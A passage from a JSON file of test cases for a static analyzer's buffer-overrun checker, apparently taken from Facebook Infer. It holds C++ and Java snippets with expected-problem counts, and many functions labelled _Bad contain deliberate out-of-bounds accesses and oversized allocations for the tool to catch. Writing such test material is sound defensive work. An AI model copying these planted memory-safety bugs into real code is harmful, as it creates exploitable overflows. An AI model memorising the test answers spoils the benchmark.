ref_set_to_zero(i);\n arr[i] = 123;\n}\n\nvoid call_by_ref_bad() {\n int arr[10];\n int i = 5;\n ref_set_to_zero(i);\n arr[i - 1] = 123;\n}\n\nstruct S init_S(int x) {\n struct S s = {x};\n return s;\n}\n\nint loop_with_init_S(int length) {\n int i = 0;\n while (i < length) {\n struct S s = init_S(i + 1);\n i = s.field;\n }\n return i;\n}\n\nvoid call_loop_with_init_S_Good() {\n int a[10];\n a[loop_with_init_S(5)] = 0;\n}\n\nvoid call_loop_with_init_S_Bad() {\n int a[10];\n a[loop_with_init_S(10)] = 0;\n}\n" + }, + { + "testname": "global.cpp", + "testlanguage": "c++", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstatic constexpr int ConstantGlobal[] = {5};\n\nvoid access_constant_global_Bad() {\n int a[5];\n a[ConstantGlobal[0]] = 3;\n}\n\nvoid access_via_assignment_constant_global_Bad() {\n int a[5];\n const int* arr = ConstantGlobal;\n a[arr[0]] = 3;\n}\n\nstatic int StaticGlobal[][3] = {\n {0, 0, 0}, {0, 0, 0}, {0, 0, 0}, {0, 0, 0}, {0, 0, 0}};\n\nvoid access_static_global1_Bad() { int* p = StaticGlobal[10]; }\n\nvoid access_static_global2_Bad() { int a = StaticGlobal[0][10]; }\n\nclass Foo {\n\n public:\n int p;\n Foo(int x) { p = x; }\n};\n\nstatic const Foo ConstantGlobalFoos[] = {{8}};\n\nvoid access_via_class_field_assignment_constant_global_Bad() {\n int a[5];\n const Foo foo = ConstantGlobalFoos[0];\n a[foo.p] = 3;\n}\n\nvoid access_via_class_field_constant_global_Bad() {\n int a[5];\n a[ConstantGlobalFoos[0].p] = 3;\n}\n" + }, + { + "testname": "realloc.cpp", + "testlanguage": "c++", + "expected-problems": 40, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid realloc_Good() {\n int* buf1 = (int*)malloc(2 * sizeof(int));\n buf1[0] = 3;\n int* buf2 = (int*)realloc(buf1, 5 * sizeof(int));\n buf2[buf2[0]] = 0;\n}\n\nvoid realloc_Bad() {\n int* buf1 = (int*)malloc(2 * sizeof(int));\n buf1[0] = 5;\n int* buf2 = (int*)realloc(buf1, 5 * sizeof(int));\n buf2[buf2[0]] = 0;\n}\n\nvoid realloc2_Good() {\n int* buf1 = (int*)malloc(2 * sizeof(int));\n for (int i = 0; i < 2; i++) {\n buf1[i] = 3;\n }\n int* buf2 = (int*)realloc(buf1, 5 * sizeof(int));\n buf2[buf2[0]] = 0;\n}\n\nstruct S1 {\n int x[2];\n};\n\nvoid realloc_struct1_Good() {\n struct S1* buf1 = (struct S1*)malloc(2 * sizeof(struct S1));\n buf1[0].x[0] = 3;\n struct S1* buf2 = (struct S1*)realloc(buf1, 5 * sizeof(struct S1));\n buf2[buf2[0].x[0]].x[0] = 0;\n}\n\nvoid realloc_struct1_Bad() {\n struct S1* buf1 = (struct S1*)malloc(2 * sizeof(struct S1));\n buf1[0].x[0] = 5;\n struct S1* buf2 = (struct S1*)realloc(buf1, 5 * sizeof(struct S1));\n buf2[buf2[0].x[0]].x[0] = 0;\n}\n\nstruct S2 {\n int x;\n};\n\nstruct S3 {\n struct S2 s;\n};\n\nvoid realloc_struct2_Good() {\n struct S3* buf1 = (struct S3*)malloc(2 * sizeof(struct S3));\n buf1[0].s.x = 3;\n struct S3* buf2 = (struct S3*)realloc(buf1, 5 * sizeof(struct S3));\n buf2[buf2[0].s.x].s.x = 0;\n}\n\nvoid realloc_struct2_Bad() {\n struct S3* buf1 = (struct S3*)malloc(2 * sizeof(struct S3));\n buf1[0].s.x = 5;\n struct S3* buf2 = (struct S3*)realloc(buf1, 5 * sizeof(struct S3));\n buf2[buf2[0].s.x].s.x = 0;\n}\n\nstruct S4 {\n int a[3];\n int c[3];\n int b[1];\n};\n\nstruct S5 {\n public:\n int d[3];\n int f[3];\n S4 e;\n};\n\nvoid realloc_flexible_array_Good() {\n struct S5* buf1 = (struct S5*)malloc(sizeof(struct S5) + 4 * sizeof(int));\n struct S5* buf2 =\n (struct S5*)realloc(buf1, sizeof(struct S5) + 9 * sizeof(int));\n buf2->e.b[7] = 0;\n}\n\nvoid realloc_flexible_array_Bad() {\n struct S5* buf1 = (struct S5*)malloc(sizeof(struct S5) + 9 * sizeof(int));\n struct S5* buf2 =\n (struct S5*)realloc(buf1, sizeof(struct S5) + 4 * sizeof(int));\n buf2->e.b[7] = 0;\n}\n" + }, + { + "testname": "relation.cpp", + "testlanguage": "c++", + "expected-problems": 46, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid minus_params_Ok(int x, int y) {\n int a[5];\n if (0 <= x - y && x - y < 5) {\n a[x - y] = 0;\n }\n}\n\nvoid call1_minus_params_Ok() { minus_params_Ok(5, 2); }\n\nvoid call2_minus_params_Ok() { minus_params_Ok(10, 2); }\n\nvoid plus_params(int x, int y) {\n int a[5];\n if (x + y > 0) {\n a[x + y - 1] = 0;\n }\n}\n\nvoid call1_plus_params_Ok() { plus_params(1, 2); }\n\nvoid call2_plus_params_Bad() { plus_params(10, 2); }\n\nvoid call3_plus_params_Ok() { plus_params(0, 0); }\n\nvoid plus_params2(int x, int y) {\n int a[5];\n if (-x < y) {\n a[x + y - 1] = 0;\n }\n}\n\nvoid call1_plus_params2_Ok() { plus_params2(1, 2); }\n\nvoid call2_plus_params2_Bad() { plus_params2(10, 2); }\n\nvoid call3_plus_params2_Ok() { plus_params2(0, 0); }\n\nvoid loop(char* arr, int len) {\n while (len > 0) {\n arr[0] = 0;\n arr += 1;\n len -= 1;\n }\n}\n\nvoid FP_call1_loop_Ok() {\n char arr[5];\n loop(arr, 5);\n}\n\nvoid call2_loop_Bad() {\n char arr[5];\n loop(arr, 10);\n}\n\nvoid FP_loop2_Ok() {\n int len = 12;\n char* arr = (char*)malloc(len * sizeof(char));\n while (len >= 4) {\n arr += 4;\n len -= 4;\n }\n switch (len) {\n case 3:\n arr[2] = 0;\n case 2:\n arr[1] = 0;\n case 1:\n arr[0] = 0;\n };\n}\n\nvoid loop_with_type_casting(void* data, int len) {\n char* arr = (char*)data;\n while (len >= 4) {\n int k = *(int*)arr;\n arr += 4;\n len -= 4;\n }\n switch (len) {\n case 3:\n arr[2] = 0;\n case 2:\n arr[1] = 0;\n case 1:\n arr[0] = 0;\n };\n}\n\ntypedef struct s {\n int a;\n int b;\n} s_t;\n\nvoid FP_call_loop_with_type_casting_Ok() {\n s_t* c = (s_t*)malloc(sizeof(s_t));\n loop_with_type_casting(c, 8);\n}\n\nsize_t id(size_t s) {\n if (s == 0) {\n return 0;\n } else {\n return s;\n }\n}\n\nvoid FP_call_id_Ok() {\n size_t s1 = 5;\n size_t s2 = id(1 + s1);\n char* arr = (char*)malloc(s2 * sizeof(char));\n arr[s1] = 0;\n}\n" + }, + { + "testname": "remove_temps.cpp", + "testlanguage": "c++", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nstruct S {\n std::vector l;\n S* next;\n std::atomic ptr;\n};\n\nclass C {\n void foo_Bad();\n void goo();\n S head_;\n};\n\nvoid C::foo_Bad() {\n while (1) {\n S* t = head_.next;\n int x = t->l.size();\n void* ptr = t->ptr;\n int a[5];\n a[10] = 1;\n }\n}\n\nvoid C::goo() {\n while (1) {\n S* t = head_.next;\n int x = t->l.size();\n void* ptr = t->ptr;\n }\n}\n" + }, + { + "testname": "repro1.cpp", + "testlanguage": "c++", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n#include \n#include \n\nint __infer_nondet_int();\n\n#define ASSERT(x) assert(x)\n#define xh(h) \\\n ({ \\\n const uint64_t* u1 = (const uint64_t*)(h); \\\n const uint64_t* u2 = (const uint64_t*)((h) + 8); \\\n *u1 ^ *u2; \\\n })\n#define alo(a) aloi2(a, 0)\n#define aloi2(a, i2) ((lo){i1tl(a.i), (i2)})\n#define i1tl(i1) (__infer_nondet_int() ? xh((i1).h) : (i1).i)\n#define HL (sizeof(char) * 16)\n\nenum class TLOR { S, F };\n\nuint32_t MH2(const void* k) { return (int64_t)k ^ __infer_nondet_int(); }\n\nuint32_t th(const void* k) { return MH2(k); }\n\ntypedef int BI;\nconstexpr BI kBN = 0;\n\ntypedef uint64_t ft;\n\nstruct it {\n ft i{0};\n char h[HL];\n it() : i(0) { ::memset(h, '\\0', sizeof(h)); }\n explicit it(ft f) : i(f) { ::memset(h, '\\0', sizeof(h)); }\n};\n\nstruct ai {\n it i;\n ai() {}\n ai(it i_) : i(i_) {}\n};\n\nstruct lo {\n uint64_t i1;\n uint64_t i2;\n};\n\nstruct lt {\n BI bI;\n};\n\ntemplate \nstruct LMB {\n TLOR lO(const lo& o) {\n auto r = TLOR::S;\n if (__infer_nondet_int()) {\n r = TLOR::F;\n }\n return r;\n }\n void u(const lo& o) {}\n};\n\ntemplate \nstruct LM {\n typedef LMB B;\n void l(lt& t, const lo& o) { lI_FP(t, o); }\n void tL(lt& t, const lo& o) { lI_FP(t, o); }\n void u(lt& t, const lo& o) {\n ASSERT(fB_FP(o) == t.bI);\n if (t.bI == kBN) {\n return;\n }\n uI(t.bI, o);\n t.bI = kBN;\n }\n\n private:\n BI fB_FP(const lo& o) { return (BI)th((const void*)&o) % b.size() + 1; }\n void lI_FP(lt& t, const lo& o) {\n auto bi = fB_FP(o);\n auto r = b[bi - 1]->lO(o);\n if (r != TLOR::S) {\n t.bI = kBN;\n return;\n }\n t.bI = bi;\n }\n void uI(BI bi, const lo& o) { b[bi - 1]->u(o); }\n std::vector> b;\n};\n\nclass TFM {};\n\ntypedef TFM LMDM;\n\nstatic LM* al;\n\nstatic inline void ral_good(lt* t, ai a) {\n ASSERT(t);\n lo o = alo(a);\n al->u(*t, o);\n}\n\nstatic inline void gal_FP(lt* t, ai a) {\n ASSERT(t);\n lo o = alo(a);\n if (__infer_nondet_int()) {\n al->tL(*t, o);\n } else {\n al->l(*t, o);\n }\n}\n\ninline ai aft(ft i) { return ai(it(i)); }\n\nstruct im {\n private:\n char e[];\n\n public:\n const char* gKPC() const noexcept { return e; }\n};\n\nstruct arh {\n ft i1;\n};\n\nstatic void am_Good_FP(im* it) {\n const arh* ch = (const arh*)it->gKPC();\n const ai a = aft(ch->i1);\n lt at;\n gal_FP(&at, a);\n ral_good(&at, a);\n}\n" + }, + { + "testname": "simple_vector.cpp", + "testlanguage": "c++", + "expected-problems": 16, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nclass int_vector {\n unsigned int _size;\n\n public:\n // FAILS TO RELATE output field _size to argument size, NEED STRONG UPDATE\n int_vector(int size) : _size(size) {}\n // FAILS TO SET output field _size to 0\n int_vector() : int_vector(0) {}\n\n void access_at(int i) {\n int* dummy_array = (int*)malloc(sizeof(int) * _size);\n int dummy_value = dummy_array[i];\n free(dummy_array);\n }\n unsigned int size() { return _size; }\n\n void resize(int newsize) { _size = newsize; }\n};\n\nvoid my_vector_oob_Bad(int_vector& v) {\n unsigned int n = v.size();\n v.access_at(n);\n}\n\n// We expect the error to be throw in my_vector_oob_Bad already\nvoid instantiate_my_vector_oob_Ok() {\n int_vector v;\n v.resize(42);\n my_vector_oob_Bad(v);\n}\n" + }, + { + "testname": "smart_ptr.cpp", + "testlanguage": "c++", + "expected-problems": 36, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nclass smart_ptr {\n public:\n class my_class {\n public:\n my_class(int i) {\n int a[5];\n a[i] = 0;\n }\n\n my_class(int i, int j) {\n int a[10];\n a[i + j] = 0;\n }\n\n my_class(const std::string& str, int i) {\n int a[5];\n a[i] = 0;\n }\n\n int i;\n\n void set_i(int n) { i = n; }\n\n void array_access() {\n int a[5];\n a[i] = 0;\n }\n };\n\n void use_shared_ptr1_Good() {\n int i = 3;\n std::shared_ptr p = std::make_shared(i);\n }\n\n void use_shared_ptr1_Bad_FN() {\n int i = 8;\n std::shared_ptr p = std::make_shared(i);\n }\n\n void use_shared_ptr2_Good() {\n int i = 3;\n int j = 5;\n std::shared_ptr p = std::make_shared(i, j);\n }\n\n void use_shared_ptr2_Bad_FN() {\n int i = 8;\n int j = 8;\n std::shared_ptr p = std::make_shared(i, j);\n }\n\n void shared_ptr_with_std_string_Good() {\n std::string str = \"abc\";\n int i = 3;\n std::shared_ptr p = std::make_shared(str, i);\n }\n\n void shared_ptr_with_std_string_Bad_FN() {\n std::string str = \"abc\";\n int i = 8;\n std::shared_ptr p = std::make_shared(str, i);\n }\n\n void shared_ptr_with_const_int_Good() {\n const int i = 3;\n std::shared_ptr p = std::make_shared(i);\n }\n\n void shared_ptr_with_const_int_Bad_FN() {\n const int i = 8;\n std::shared_ptr p = std::make_shared(i);\n }\n\n void call_method_Good() {\n std::shared_ptr p = std::make_shared(0);\n p->set_i(3);\n p->array_access();\n }\n\n void call_method_Bad() {\n std::shared_ptr p = std::make_shared(0);\n p->set_i(8);\n p->array_access();\n }\n};\n" + }, + { + "testname": "std_array.cpp", + "testlanguage": "c++", + "expected-problems": 45, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint std_array_bo_Bad() {\n std::array a;\n return a[42];\n}\n\nint normal_array_bo() {\n int b[42];\n return b[42];\n}\n\nvoid new_char_Good() {\n uint64_t len = 13;\n char* dst;\n dst = new char[len];\n}\n\nvoid new_int1_Bad() {\n uint64_t len = 4611686018427387903; // (1 << 62) - 1\n int32_t* dst;\n dst = new int32_t[len];\n}\n\nvoid new_int2_Bad() {\n uint64_t len = 9223372036854775807; // (1 << 63) - 1\n int32_t* dst;\n dst = new int32_t[len];\n}\n\nvoid new_int3_Bad() {\n uint64_t len = 18446744073709551615; // (1 << 64) - 1\n int32_t* dst;\n dst = new int32_t[len];\n}\n\nvoid std_array_contents_Good() {\n std::array a;\n a[0] = 5;\n a[a[0]] = 0;\n}\n\nvoid std_array_contents_Bad() {\n std::array a;\n a[0] = 10;\n a[a[0]] = 0;\n}\n\nvoid array_iter1_Good() {\n std::array a;\n for (auto it = a.begin(); it < a.end(); ++it) {\n *it = 10;\n }\n a[a[0]] = 0;\n}\n\nvoid array_iter1_Bad() {\n std::array a;\n for (auto it = a.begin(); it < a.end(); ++it) {\n *it = 10;\n }\n a[a[0]] = 0;\n}\n\nvoid array_iter2_Good() {\n std::array a;\n for (auto it = a.begin(); it != a.end(); ++it) {\n *it = 10;\n }\n a[a[0]] = 0;\n}\n\nvoid array_iter2_Bad() {\n std::array a;\n for (auto it = a.begin(); it != a.end(); ++it) {\n *it = 10;\n }\n a[a[0]] = 0;\n}\n\nvoid array_iter3_Good() {\n std::array a = {10};\n for (auto it = a.cbegin(); it < a.cend(); ++it) {\n a[*it] = 10;\n }\n}\n\nvoid array_iter3_Bad() {\n std::array a = {10};\n for (auto it = a.cbegin(); it < a.cend(); ++it) {\n a[*it] = 10;\n }\n}\n\nvoid array_iter_front_Good() {\n std::array a;\n a.front() = 10;\n a[a[0]] = 0;\n}\n\nvoid array_iter_front_Bad() {\n std::array a;\n a.front() = 10;\n a[a[0]] = 0;\n}\n\nvoid array_iter_back_Good() {\n std::array a;\n a.back() = 10;\n a[a[0]] = 0;\n}\n\nvoid array_iter_back_Bad() {\n std::array a;\n a.back() = 10;\n a[a[0]] = 0;\n}\n\nvoid array_rev_iter_Good() {\n std::array a;\n for (auto it = a.rbegin(); it < a.rend(); ++it) {\n *it = 10;\n }\n a[a[0]] = 0;\n}\n\nvoid array_rev_iter_Bad_FN() {\n std::array a;\n for (auto it = a.rbegin(); it < a.rend(); ++it) {\n *it = 10;\n }\n a[a[0]] = 0;\n}\n\nvoid malloc_zero_Bad() { int* a = (int*)malloc(sizeof(int) * 0); }\n\nvoid new_array_zero_Good() { int* a = new int[0]; }\n" + }, + { + "testname": "std_string.cpp", + "testlanguage": "c++", + "expected-problems": 75, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nchar last_char1_Bad(char* s, int i) {\n char buf[1024];\n int n = snprintf(buf, sizeof(buf), \"%s%d\", s, i);\n return buf[n - 1];\n}\n\nchar last_char1_Good(char* s, int i) {\n char buf[1024];\n int n = snprintf(buf, sizeof(buf), \"%s%d\", s, i);\n if (n > 0 && n <= sizeof(buf)) {\n return buf[n - 1];\n } else {\n return '\\0';\n }\n}\n\nchar last_char2_Bad(const char* fmt, ...) {\n char buf[1024];\n va_list args;\n va_start(args, fmt);\n int n = vsnprintf(buf, sizeof(buf), fmt, args);\n va_end(args);\n return buf[n - 1];\n}\n\nstd::string to_string1_Bad(char* s, int i) {\n char buf[1024];\n int n = snprintf(buf, sizeof(buf), \"%s%d\", s, i);\n return std::string(buf, n);\n}\n\nstd::string to_string1_Good(char* s, int i) {\n char buf[1024];\n int n = snprintf(buf, sizeof(buf), \"%s%d\", s, i);\n if (n < 0) {\n return NULL;\n } else if (n > sizeof(buf)) {\n n = sizeof(buf);\n }\n return std::string(buf, n);\n}\n\nstd::string to_string2_Bad(const char* fmt, ...) {\n char buf[1024];\n va_list args;\n va_start(args, fmt);\n int n = vsnprintf(buf, sizeof(buf), fmt, args);\n va_end(args);\n return std::string(buf, n);\n}\n\nstd::string to_string2_Good(const char* fmt, ...) {\n char buf[1024];\n va_list args;\n va_start(args, fmt);\n int n = vsnprintf(buf, sizeof(buf), fmt, args);\n va_end(args);\n if (n < 0) {\n return NULL;\n } else if (n > sizeof(buf)) {\n n = sizeof(buf);\n }\n return std::string(buf, n);\n}\n\n/* Inferbo's model ignores the encoding errors for less noise of\n analysis results. While [vsnprintf] returns a nagative number when\n an encoding error, it is less likely to lead to a security\n problem. */\nstd::string to_string3_Bad_FN(const char* fmt, ...) {\n char buf[1024];\n va_list args;\n va_start(args, fmt);\n int n = vsnprintf(buf, sizeof(buf), fmt, args);\n va_end(args);\n if (n > sizeof(buf)) {\n n = sizeof(buf);\n }\n return std::string(buf, n);\n}\n\nvoid empty_Good(std::string s) {\n if (s.empty()) {\n if (!s.empty()) {\n int a[10];\n a[10] = 0;\n }\n }\n}\n\nvoid empty_Bad(std::string s) {\n if (s.empty()) {\n int a[10];\n a[10] = 0;\n }\n}\n\nvoid length_Good() {\n std::string s(\"hello\");\n int a[10];\n a[s.length()] = 0;\n}\n\nvoid length_Bad() {\n std::string s(\"hellohello\");\n int a[10];\n a[s.length()] = 0;\n}\n\nvoid length2_Good() {\n const char* c = \"hello\";\n std::string s(c);\n int a[10];\n a[s.length()] = 0;\n}\n\nvoid length2_Bad() {\n const char* c = \"hellohello\";\n std::string s(c);\n int a[10];\n a[s.length()] = 0;\n}\n\nvoid length3_Good() {\n char* c = \"hello\";\n std::string s(c);\n int a[10];\n a[s.length()] = 0;\n}\n\nvoid length3_Bad() {\n char* c = \"hellohello\";\n std::string s(c);\n int a[10];\n a[s.length()] = 0;\n}\n\nvoid length4(char* c) {\n std::string s(c);\n int a[10];\n a[s.length()] = 0;\n}\n\nvoid call_length4_1_Good() {\n char* c = \"hello\";\n length4(c);\n}\n\nvoid call_length4_1_Bad() {\n char* c = \"hellohello\";\n length4(c);\n}\n\nvoid call_length4_2_Good() { length4(\"hello\"); }\n\nvoid call_length4_2_Bad() { length4(\"hellohello\"); }\n\nvoid size_Good() {\n std::string s(\"hello\");\n int a[10];\n a[s.size()] = 0;\n}\n\nvoid size_Bad() {\n std::string s(\"hellohello\");\n int a[10];\n a[s.size()] = 0;\n}\n\nvoid compare_Good_FP(std::string s) {\n if (s.compare(0, s.size(), s) != 0) {\n int a[10];\n a[10] = 0;\n }\n}\n\nvoid compare_Bad(std::string s) {\n if (s.compare(0, s.size(), s) == 0) {\n int a[10];\n a[10] = 0;\n }\n}\n\nvoid equal_Good_FP(std::string s) {\n if (s != s) {\n int a[10];\n a[10] = 0;\n }\n}\n\nvoid equal_Bad() {\n std::string s1(\"hello\");\n std::string s2(\"hello\");\n if (s1 == s2) {\n int a[10];\n a[10] = 0;\n }\n}\n\nconstexpr char const_s[] = \"const_s\";\n\nvoid equal2_Good_FP() {\n std::string s(const_s);\n if (s != const_s) {\n int a[10];\n a[10] = 0;\n }\n}\n" + }, + { + "testname": "symb_arr.cpp", + "testlanguage": "c++", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstruct symb_arr_alloc {\n char h[10];\n void symb_arr_access_ok() { h[9] = '\\0'; }\n void symb_arr_access_bad() { h[10] = '\\0'; }\n};\n" + }, + { + "testname": "this.cpp", + "testlanguage": "c++", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass CThis {\n unsigned int n;\n void access_Good() {\n char a[this->n + 1];\n a[this->n] = 0;\n }\n void access_Bad() {\n char a[this->n + 1];\n a[this->n + 1] = 0;\n }\n};\n" + }, + { + "testname": "trivial.cpp", + "testlanguage": "c++", + "expected-problems": 2, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid trivial() {\n int a[10];\n a[10] = 0; /* BUG */\n}\n" + }, + { + "testname": "vector.cpp", + "testlanguage": "c++", + "expected-problems": 104, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n#include \n\nvoid out_of_bound_Bad(std::vector v) {\n unsigned int n = v.size();\n v[n] = 1;\n}\n\nvoid simple_size_Good() {\n std::vector v(3);\n v[v.size() - 1] = 2;\n}\n\nvoid simple_size_Bad() {\n std::vector v(3);\n v[v.size()] = 2;\n}\n\nvoid constructor_overload1_Good() {\n std::vector v(1);\n v[0] = 2;\n}\n\nvoid constructor_overload1_Bad() {\n std::vector v(1);\n v[3] = 2;\n}\n\nvoid constructor_overload2_Good() {\n std::vector v = {1};\n v[0] = 2;\n}\n\nvoid constructor_overload2_Bad() {\n std::vector v = {1, 2, 3};\n v[v[2]] = 2;\n}\n\nvoid push_back_Good() {\n std::vector v;\n v.push_back(1);\n v[0] = 2;\n}\n\nvoid push_back_Bad() {\n std::vector v;\n v.push_back(1);\n v[1] = 2;\n}\n\nvoid emplace_back_Good() {\n std::vector v;\n v.emplace_back(1);\n v[0] = 2;\n}\n\nvoid emplace_back_Bad() {\n std::vector v;\n v.emplace_back(1);\n v[1] = 2;\n}\n\nvoid insert_overload1_Good() {\n std::vector v;\n v.insert(v.begin(), 1);\n v[0] = 2;\n}\n\nvoid insert_overload1_Bad() {\n std::vector v;\n v.insert(v.begin(), 1);\n v[1] = 2;\n}\n\nvoid insert_overload2_Good() {\n std::vector v;\n v.insert(v.begin(), 10, 1);\n v[9] = 2;\n}\n\nvoid insert_overload2_Bad() {\n std::vector v;\n v.insert(v.begin(), 10, 1);\n v[10] = 2;\n}\n\nvoid insert_overload3_Good() {\n std::vector v;\n v.insert(v.begin(), {0, 1, 2});\n v[v[0]] = 2;\n}\n\nvoid insert_overload3_Bad() {\n std::vector v;\n v.insert(v.begin(), {1, 2, 3});\n v[v[2]] = 2;\n}\n\nvoid reserve_Good() {\n std::vector v;\n v.reserve(42);\n v.push_back(1);\n v[0] = 2;\n}\n\nvoid reserve_Bad() {\n std::vector v;\n v.reserve(42);\n v[0] = 2;\n}\n\nvoid safe_access(std::vector v) {\n if (v.size() >= 10) {\n v[9] = 1;\n }\n}\n\nvoid call_safe_access_Good_FP() {\n std::vector v(5, 0);\n safe_access(v);\n}\n\nvoid safe_access2(std::vector v) {\n if (v.empty()) {\n return;\n }\n\n unsigned int a[v.size()];\n for (unsigned int i = 0; i < v.size(); i++) {\n a[i] = 0;\n }\n}\n\nvoid call_safe_access2_Good() {\n std::vector v;\n safe_access2(v);\n}\n\nvoid safe_access3_Good() {\n std::vector v;\n if (!v.empty()) {\n v[0] = 1;\n }\n}\n\nvoid safe_access4(std::vector v) {\n if (!v.empty()) {\n v[0] = 1;\n }\n}\n\nvoid call_safe_access4_Good() {\n std::vector v;\n safe_access4(v);\n}\n\nvoid safe_access5(std::vector v) {\n if (v.empty()) {\n } else {\n v[0] = 1;\n }\n}\n\nvoid call_safe_access5_Good() {\n std::vector v;\n safe_access5(v);\n}\n\nvoid safe_access6(std::vector v) {\n std::vector v2(2);\n v2[v.empty()];\n}\n\nvoid call_safe_access6_Good() {\n std::vector v;\n safe_access6(v);\n}\n\nvoid data_Good() {\n std::vector v(5);\n int* p = v.data();\n p[4] = 1;\n}\n\nvoid data_Bad() {\n std::vector v(5);\n int* p = v.data();\n p[4] = 10;\n p[v[4]] = 1;\n}\n\nvoid assert_Good() {\n std::vector v;\n for (int i = 0; i < 5; i++) {\n v.push_back(1);\n }\n assert(v.size() == 5);\n v[4] = 1;\n}\n\nvoid assert_Good_2(int x) {\n std::vector v;\n for (int i = 0; i < 5; i++) {\n v.push_back(1);\n }\n assert(((v.size() == 5) ? 1 : 0) ? 1 : 0);\n v[4] = 1;\n}\n\nvoid assert_Bad() {\n std::vector v;\n for (int i = 0; i < 5; i++) {\n v.push_back(1);\n }\n assert(v.size() == 5);\n v[6] = 1;\n}\n\nclass CharVector {\n public:\n CharVector(char* init) : a(init) {}\n\n char& operator[](int idx) { return a[idx]; }\n\n private:\n char* a;\n};\n\nvoid access_in_sixth(int count, CharVector v) {\n assert(count >= 0);\n assert(count < 5);\n v[count + 1] = '0';\n}\n\nvoid access_minus_one(int count, CharVector v) {\n assert(count >= 0);\n v[count - 1] = '0';\n}\n\nvoid precise_subst_Good() {\n char a[10];\n CharVector v(a);\n access_in_sixth(0, v);\n}\n\nvoid precise_subst_Good_FP() {\n char a[10];\n CharVector v(a);\n access_minus_one(1, v);\n}\n\nvoid precise_subst_Bad() {\n char a[10];\n CharVector v(a);\n access_minus_one(0, v);\n}\n\nvoid resize_Good() {\n std::vector v;\n v.resize(1);\n v[0] = 0;\n}\n\nvoid resize_Bad() {\n std::vector v;\n v.resize(1);\n v[1] = 0;\n}\n\nvoid iterate_rvalue_ref(std::vector&& v) {\n [&]() {\n /* In SIL, the type iterator becomes a pointer to another pointer, i.e. an\n rvalue reference to vector. Inferbo should not raise an internal error in\n that case. */\n for (std::vector::iterator it = v.begin(); it != v.end(); it++) {\n }\n };\n}\n" + }, + { + "testname": "void_ptr.cpp", + "testlanguage": "c++", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid casting_void_ptr(void* p) {\n uint8_t* q = (uint8_t*)p;\n q[14] = 0;\n}\n\nvoid FP_call_casting_void_ptr_Ok() {\n uint64_t p[2];\n casting_void_ptr(p);\n}\n" + }, + { + "testname": "Array.java", + "testlanguage": "java", + "expected-problems": 33, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage codetoanalyze.java.bufferoverrun;\n\nimport java.util.ArrayList;\n\nclass Array {\n private ArrayList a = new ArrayList<>();\n\n void collection_add_zero_Good() {\n a.add(0, 100);\n }\n\n ArrayList collection_remove_from_empty_Bad() {\n ArrayList b = new ArrayList<>();\n b.remove(0);\n return b;\n }\n\n void null_pruning1_Good() {\n if (a == null) {\n if (a != null) {\n int[] arr = {1, 2, 3, 4, 5};\n arr[10] = 1;\n }\n }\n }\n\n void null_pruning1_Bad() {\n if (a == null) {\n if (a == null) {\n int[] arr = {1, 2, 3, 4, 5};\n arr[10] = 1;\n }\n }\n }\n\n void null_pruning2_Good_FP() {\n if (a != null) {\n if (a == null) {\n int[] arr = {1, 2, 3, 4, 5};\n arr[10] = 1;\n }\n }\n }\n\n void null_pruning2_Bad() {\n if (a != null) {\n if (a != null) {\n int[] arr = {1, 2, 3, 4, 5};\n arr[10] = 1;\n }\n }\n }\n\n void negative_alloc_Bad() {\n a = new ArrayList<>(-1);\n }\n\n void zero_alloc_Good() {\n a = new ArrayList<>(0);\n }\n\n void positive_alloc_Good() {\n a = new ArrayList<>(10);\n }\n\n void iterate_collection_Good(ArrayList a) {\n if (a.size() > 10) {\n int x = a.get(9);\n }\n }\n\n void call_iterate_collection_Good() {\n ArrayList x = new ArrayList();\n x.add(0);\n x.add(0);\n x.add(0);\n x.add(0);\n x.add(0);\n this.iterate_collection_Good(x);\n }\n\n void iterate_collection_Bad(ArrayList a) {\n if (a.size() >= 5) {\n int x = a.get(5);\n }\n }\n\n void call_iterate_collection_Bad() {\n ArrayList x = new ArrayList();\n x.add(0);\n 